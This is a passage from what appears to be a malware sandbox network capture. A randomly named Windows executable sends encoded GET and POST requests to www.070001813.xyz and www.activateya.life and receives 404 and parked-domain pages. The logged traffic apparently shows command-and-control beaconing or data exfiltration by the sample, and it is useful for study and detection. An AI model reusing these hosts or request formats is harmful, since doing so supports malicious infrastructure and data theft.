LDVlCz=QcubSUa0vjzoNf7BwZ/1h7XPDY2MxDQd2a6rbJ5ob7yg99RSc8qqClYFzC+KZ2jrM092U+3MoxZ924HlAFloofVVLaFmrBwQhATZf4twUCZBmHK3/fp2dJGY5ItGNlFQ0t7iIqwrDGDojxjNq7PRwyWzH9t5JripACjHAwKbZyDHEPcwdYBVXhu8Ti9xFXWnleuZlQeQKkatIHjlixabdjNcMhDtI3T5PjyBpD/ZSg4mNesDcD5L3anK+6F1yGlpHBw9knqAT+k9MRVGR4idQPxzNVlIF3Qi+ytmLXxsGLUmM4uFEdBTZSmLTfXW4DQhlovDrMpsKrHPxxbNAokPCf2a5FstL7zeQWmOT2ZYeOgHox4fN0gWmGYco+vcnwi3xcNL7N9fDlk0qiiHZxxfRzOxrSguuHxWTVbSQxxYkum0Hd6cddw+NvD5Loc0oPtbHeuaTrMhnFdYFNDSC+Ec/uXKQiS7pYn+JcdEyi1rEUfUtXtJ6YbTggp44mQhube6hMNTnjQF485OdW3lMSWdOglL9O1Ejq54zZ4X+OhY83u8w6RNcPA5aZgEYHrQwzHkTL9QYV3uP5YK6/Yi4uVIAKg6KIQxh6uyyQFohy4Z8QC28LhuWmFWgWSwQE9HaVwAynTMZpbuSJ7AkrHpTD9LSOm2D9n/F1zdFuIjtjmzWHliw9TsSqA04YVkZAsceFsziRHLd+9uTvGznhpqpiCnO8H8/LVt91xUtzWClBCWZVqhqbw9gEeXLHoeYDPEHGanWqTLjjdAp1boxdfSeOw36M8LIr68osMm48sYkVouYOaUFa0SFMU/qmp3yVgkmZxbHggYAk3Jdd5efQUVIrr16Xqetx+pw0naYW8uw+rV3E3sXMNzN3IkL4OmbBzE55cwvT2/bPTvvv48gQZrzsgvx/nLaR895mXxzEkV3zOq7d2gG9ycS5zqpVf2e3vNqMoupsVWS3PZvn1DjGOnKwcI0yycyMx7RviMIqpyaL6LPnJ1t [TRUNCATED]
Dec 12, 2024 00:18:54.046468973 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 11 Dec 2024 23:18:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Dec 12, 2024 00:18:54.046612024 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49795	161.97.142.144	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:18:55.433875084 CET	504	OUT	GET /gn0y/?LDVlCz=deG7RjeXnjjKJ6Ot/ZvT1ZCOdrvHxkgph9CMZ5BhYMmF8u0wO9qMaDcK53O3JwyOf3l+Oc7MzAVt2qPkHXgf7ZhvCL0D4R10rxSbaYIqOAV7xlWd89x6BKiu35RrP0Id3g==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1 Host: www.070001813.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Dec 12, 2024 00:18:56.670917988 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 11 Dec 2024 23:18:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2966 Connection: close Vary: Accept-Encoding ETag: "66cce1df-b96" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
Dec 12, 2024 00:18:56.670947075 CET	1236	IN	Data Raw: 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 63 39 32 31 32 37 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 77 61 72 6e 69 6e 67 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 Data Ascii: ;fill: #c92127;}.warning {color: #ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-text {color: #707
Dec 12, 2024 00:18:56.670959949 CET	698	IN	Data Raw: 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 20 31 32 2d 35 2e 33 37 33 20 31 32 2d 31 32 76 2d 31 2e 33 33 33 63 30 2d 32 38 2e 34 36 32 20 38 33 2e Data Ascii: 941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49811	84.32.84.32	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:19:02.598135948 CET	761	OUT	POST /f95q/ HTTP/1.1 Host: www.activateya.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.activateya.life Referer: http://www.activateya.life/f95q/ Content-Length: 207 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 70 5a 78 65 30 6e 56 6f 4f 2f 35 4b 53 7a 6c 62 78 72 66 76 6e 45 2b 76 30 58 68 59 41 2f 55 76 44 75 63 52 39 56 30 76 39 43 65 69 6a 46 31 57 32 33 65 6e 56 4d 49 72 5a 2f 4d 79 58 52 58 51 45 33 79 73 65 50 76 45 77 53 7a 7a 5a 56 70 34 77 53 58 2f 4e 68 55 38 50 43 70 76 66 7a 55 62 53 74 76 50 46 6a 68 49 6b 4b 37 56 63 4e 5a 79 58 48 6d 38 4d 76 44 76 4b 2b 4b 68 39 74 49 6d 79 49 35 73 2b 78 71 77 4d 74 4c 54 38 55 73 31 6f 63 73 4a 64 41 6a 46 62 41 4f 4d 57 76 47 42 4a 66 45 73 59 41 31 43 74 55 4c 6b 61 6a 79 72 2b 44 64 53 41 79 58 6d 69 57 4e 79 75 4d 51 62 33 46 5a 78 6f 4f 38 3d Data Ascii: LDVlCz=pZxe0nVoO/5KSzlbxrfvnE+v0XhYA/UvDucR9V0v9CeijF1W23enVMIrZ/MyXRXQE3ysePvEwSzzZVp4wSX/NhU8PCpvfzUbStvPFjhIkK7VcNZyXHm8MvDvK+Kh9tImyI5s+xqwMtLT8Us1ocsJdAjFbAOMWvGBJfEsYA1CtULkajyr+DdSAyXmiWNyuMQb3FZxoO8=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49817	84.32.84.32	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:19:05.270868063 CET	781	OUT	POST /f95q/ HTTP/1.1 Host: www.activateya.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.activateya.life Referer: http://www.activateya.life/f95q/ Content-Length: 227 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 70 5a 78 65 30 6e 56 6f 4f 2f 35 4b 41 6e 5a 62 7a 4d 6a 76 6d 6b 2b 73 37 33 68 59 4a 66 55 72 44 75 51 52 39 51 51 2f 39 51 36 69 6a 6c 46 57 33 31 32 6e 53 4d 49 72 42 50 4d 33 4b 42 58 50 45 33 32 4b 65 4b 58 45 77 54 58 7a 5a 58 78 34 77 6c 37 67 4e 78 55 2b 61 79 70 70 43 6a 55 62 53 74 76 50 46 6e 4a 69 6b 4b 7a 56 64 38 4a 79 52 57 6d 37 45 50 44 73 4e 2b 4b 68 35 74 49 69 79 49 35 4f 2b 7a 66 66 4d 75 7a 54 38 57 6b 31 6f 4f 49 4b 45 77 6a 4c 47 77 50 74 62 4f 72 65 4a 76 51 35 63 44 6f 35 32 43 48 63 66 56 44 42 6b 68 56 36 54 53 37 65 79 46 46 46 2f 38 78 79 74 6d 4a 42 32 5a 6f 6b 59 73 6e 46 53 6f 39 30 78 67 36 43 43 39 35 64 54 4e 61 50 Data Ascii: LDVlCz=pZxe0nVoO/5KAnZbzMjvmk+s73hYJfUrDuQR9QQ/9Q6ijlFW312nSMIrBPM3KBXPE32KeKXEwTXzZXx4wl7gNxU+ayppCjUbStvPFnJikKzVd8JyRWm7EPDsN+Kh5tIiyI5O+zffMuzT8Wk1oOIKEwjLGwPtbOreJvQ5cDo52CHcfVDBkhV6TS7eyFFF/8xytmJB2ZokYsnFSo90xg6CC95dTNaP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49824	84.32.84.32	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:19:07.958623886 CET	1798	OUT	POST /f95q/ HTTP/1.1 Host: www.activateya.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.activateya.life Referer: http://www.activateya.life/f95q/ Content-Length: 1243 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 70 5a 78 65 30 6e 56 6f 4f 2f 35 4b 41 6e 5a 62 7a 4d 6a 76 6d 6b 2b 73 37 33 68 59 4a 66 55 72 44 75 51 52 39 51 51 2f 39 51 79 69 6a 58 4e 57 32 53 43 6e 54 4d 49 72 4d 76 4d 32 4b 42 58 47 45 7a 53 4f 65 4b 4c 2b 77 52 66 7a 59 30 35 34 32 58 44 67 43 78 55 2b 46 69 70 6f 66 7a 56 5a 53 74 2f 4c 46 6a 56 69 6b 4b 7a 56 64 2b 68 79 48 33 6d 37 4a 76 44 76 4b 2b 4b 31 39 74 49 61 79 49 51 78 2b 7a 62 31 4e 65 54 54 38 31 4d 31 76 38 51 4b 62 41 6a 65 46 77 50 50 62 4f 6e 37 4a 75 38 31 63 41 30 44 32 46 44 63 64 77 71 5a 78 30 31 5a 53 52 58 65 77 56 42 41 76 70 68 54 6c 30 34 36 2b 50 74 47 64 76 58 57 66 2b 6c 37 2f 45 6e 57 56 62 51 4a 52 39 50 51 4d 75 64 43 64 46 4b 6c 39 46 49 33 6b 56 43 57 78 38 6e 68 63 47 32 47 72 6a 34 31 64 56 4e 54 6d 73 74 52 6e 6a 2b 77 67 59 49 6b 42 71 41 62 52 76 50 39 33 39 65 70 43 6a 4b 50 71 36 4d 41 41 6a 57 6e 70 6c 4e 6b 39 76 35 58 44 30 6f 76 63 67 50 62 51 48 55 75 38 63 4e 72 43 41 62 4e 2b 6f 7a 48 62 74 6d 68 59 4e 2f 72 38 55 5a [TRUNCATED] Data Ascii: LDVlCz=pZxe0nVoO/5KAnZbzMjvmk+s73hYJfUrDuQR9QQ/9QyijXNW2SCnTMIrMvM2KBXGEzSOeKL+wRfzY0542XDgCxU+FipofzVZSt/LFjVikKzVd+hyH3m7JvDvK+K19tIayIQx+zb1NeTT81M1v8QKbAjeFwPPbOn7Ju81cA0D2FDcdwqZx01ZSRXewVBAvphTl046+PtGdvXWf+l7/EnWVbQJR9PQMudCdFKl9FI3kVCWx8nhcG2Grj41dVNTmstRnj+wgYIkBqAbRvP939epCjKPq6MAAjWnplNk9v5XD0ovcgPbQHUu8cNrCAbN+ozHbtmhYN/r8UZ1l5SNrA5l9tu4ROFuSIGR5O1vI04kAXyyK4/A2J19WW5Rq71+z3uqJeKpoZpDneXIxWbd8ygwJUx/PbuPFJ7PrlbpD1/TkzZV5AfZR7jElU0N0tThu/lX+uWT17raH4PcUt0KUXk9y+K7aQxdu2Td1u6UIlnCNmbwwg92FE4j2EuOnh0/Vcl/RY65R3xWyye62GAGkHC3RUmkPcZze9olgdB+4ocprQTh3mCnCxOgBKyEMIC/1zjn/MKKenX+Vfp/n6MKJT9PN91LIo6U1p3aYDHsGSM4pBSJMV6SoaUX7IptK0iivEPiEir+8VC3DrQSrVaeeR7mMXFOEPzrxujjobRhtxzZLQcyDg+a4mwRK6dmSqg16/zzXZl+44RlsAcbzODRQfZl21ix4vVgBZ49qZ5dTFZkpBuKR9Za1sitVv6kkduUWgZWzN7PuCx8/SEHWuMQutyq41p8DaeEQ65uO7wnQ4pJQcGvM5e82V7BKaaTGgf+MNmRV+wGErW2vwrCH4z1d3B+r+HcOw0GD3cbdOVVXcCDb3mRQhfQ3/gx6VXLfp77p84sjlYYCu6Rb0BuE+wPDneMwfllfqW1WWOgeY3bMsNjW6jXUq0JSrulch1V1RLQeGWvcC/0QgozZur8hg3NV3oRwZ/l4u83DawgVjqMkCnFtTjkB [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49834	84.32.84.32	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:19:10.651905060 CET	506	OUT	GET /f95q/?NdLhG=cLCtFnqPUvutTbuP&LDVlCz=kbZ+3TVQWfE7KiBcybfm9WvlwV1TJfIMHZM6kD8OpyCP9Gh7sWOPFpouLIgiGz3sUBqRfaXNkxnyQnhTpFi/D08FMGsEDjNddsm/ASVO0JLXKussNUmxA8HGD8mS8NlSug== HTTP/1.1 Host: www.activateya.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Dec 12, 2024 00:19:11.738887072 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 23:19:11 GMT Content-Type: text/html Content-Length: 9973 Connection: close Vary: Accept-Encoding Server: hcdn alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: c457f16e124e68ccbbc712bdb09f15f9-bos-edge1 Expires: Wed, 11 Dec 2024 23:19:10 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED] Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"O
Dec 12, 2024 00:19:11.738903046 CET	1236	IN	Data Raw: 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b 62 61 63 Data Ascii: pen Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30px;font-weight:600!
Dec 12, 2024 00:19:11.738919020 CET	448	IN	Data Raw: 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 35 70 78 7d 2e 6e 61 76 62 61 72 2d 6e 61 76 3e 6c 69 3e 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 Data Ascii: ;font-size:13px;padding-left:5px;padding-right:5px}.navbar-nav>li>a:hover{text-decoration:none;color:#cdc3ea!important}.navbar-nav>li>a i{margin-right:5px}.nav-bar img{position:relative;top:3px}.congratz{margin:0 auto;text-align:center}.top-co
Dec 12, 2024 00:19:11.739078999 CET	1236	IN	Data Raw: 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 6d 65 73 73 61 67 65 20 70 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6c 69 6e Data Ascii: ;border-radius:5px;position:relative}.message p{font-weight:400;font-size:14px;line-height:24px}#pathName{color:#2f1c6a;font-weight:700;overflow-wrap:break-word;font-size:40px;line-height:48px;margin-bottom:16px}.section-title{color:#2f1c6a;fo
Dec 12, 2024 00:19:11.739093065 CET	1236	IN	Data Raw: 7d 2e 6e 61 76 62 61 72 2d 6c 69 6e 6b 73 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 2e 6e 61 76 62 61 72 2d 6c 69 6e 6b 73 Data Ascii: }.navbar-links{display:flex;flex-direction:column;align-items:center}.navbar-links>li{margin:0}.top-container{flex-direction:column-reverse}}</style><script src="https://www.googletagmanager.com/gtag/js?id=UA-26575989-44" async></script><scrip
Dec 12, 2024 00:19:11.739108086 CET	1236	IN	Data Raw: 61 2d 68 69 64 64 65 6e 3d 74 72 75 65 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 75 73 65 72 73 22 3e 3c 2f 69 3e 20 41 66 66 69 6c 69 61 74 65 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 68 70 61 Data Ascii: a-hidden=true class="fas fa-users"></i> Affiliates</a></li><li><a href=https://hpanel.hostinger.com/login rel=nofollow><i aria-hidden=true class="fas fa-sign-in-alt"></i> Login</a></li></ul></div></div></nav><div class=empty-account-page><div
Dec 12, 2024 00:19:11.739124060 CET	1236	IN	Data Raw: 6f 75 72 20 77 65 62 73 69 74 65 20 74 6f 20 61 6e 79 20 6f 66 20 79 6f 75 72 20 68 6f 73 74 69 6e 67 20 70 6c 61 6e 73 2e 20 46 6f 6c 6c 6f 77 20 74 68 65 20 61 72 74 69 63 6c 65 20 62 65 6c 6f 77 20 74 6f 20 61 64 64 20 79 6f 75 72 20 64 6f 6d Data Ascii: our website to any of your hosting plans. Follow the article below to add your domain at Hostinger.</p><br><a href=https://support.hostinger.com/en/articles/1583214-how-to-add-a-domain-to-my-account-how-to-add-website rel=nofollow>Add a websit
Dec 12, 2024 00:19:11.739656925 CET	328	IN	Data Raw: 75 72 6e 20 65 2e 6a 6f 69 6e 28 22 22 29 7d 7d 3b 76 61 72 20 6f 3d 33 36 2c 72 3d 32 31 34 37 34 38 33 36 34 37 3b 66 75 6e 63 74 69 6f 6e 20 65 28 6f 2c 72 29 7b 72 65 74 75 72 6e 20 6f 2b 32 32 2b 37 35 2a 28 6f 3c 32 36 29 2d 28 28 30 21 3d Data Ascii: urn e.join("")}};var o=36,r=2147483647;function e(o,r){return o+22+75(o<26)-((0!=r)<<5)}function n(r,e,n){var t;for(r=n?Math.floor(r/700):r>>1,r+=Math.floor(r/e),t=0;455<r;t+=o)r=Math.floor(r/35);return Math.floor(t+36r/(r+38))}this.decode=f
Dec 12, 2024 00:19:11.739672899 CET	1236	IN	Data Raw: 28 63 3d 65 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 2d 22 29 29 3c 30 26 26 28 63 3d 30 29 2c 75 3d 30 3b 75 3c 63 3b 2b 2b 75 29 7b 69 66 28 74 26 26 28 79 5b 6d 2e 6c 65 6e 67 74 68 5d 3d 65 2e 63 68 61 72 43 6f 64 65 41 74 28 75 29 2d 36 35 Data Ascii: (c=e.lastIndexOf("-"))<0&&(c=0),u=0;u<c;++u){if(t&&(y[m.length]=e.charCodeAt(u)-65<26),128<=e.charCodeAt(u))throw new RangeError("Illegal input >= 0x80");m.push(e.charCodeAt(u))}for(d=0<c?c+1:0;d<E;){for(l=f,p=1,g=o;;g+=o){if(E<=d)throw RangeE
